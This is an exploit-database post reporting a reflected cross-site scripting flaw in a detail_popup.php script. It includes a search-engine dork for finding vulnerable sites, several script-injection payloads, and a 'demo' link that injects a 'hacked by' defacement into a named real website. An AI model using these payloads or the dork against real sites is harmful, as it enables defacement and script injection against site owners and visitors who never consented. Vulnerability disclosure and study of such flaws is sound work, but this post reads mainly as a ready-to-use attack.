detail_popup Cross Site Scripting (XSS)

2020.06.20
ir h4shur (IR) ir
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: inurl:"/detail_popup.php?img="

[+] Title: detail_popup Cross Site Scripting (XSS) [+] date: 2020-06-19 [+] Author: h4shur [+] Tested on: Windows 10 & Google Chrome [+] Vulnerable File: /detail_popup.php?img=&dr= [+] Vulnerable Parameter: Get Method [+] Dork: inurl:"/detail_popup.php?img=" ### POC: [+} site.com/[folder]/detail_popup.php?img=&dr= ### Xss Alert Code: "><svg onload=alert()> '><script>alert('');</script> <IMG "'"><script>alert()</script>'> And Etc. ### Demo: [+] http://www.daumier-register.org/detail_popup.php?img=DR2292_1&dr=%22%3E%3Cmarquee%3Ehacked%20by%20h4shur%3C/marquee%3E ### Contact Me : * Telegram : @h4shur * Email : h4shursec@gmail.com * Instagram : @netedit0r * twitter : @h4shur


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top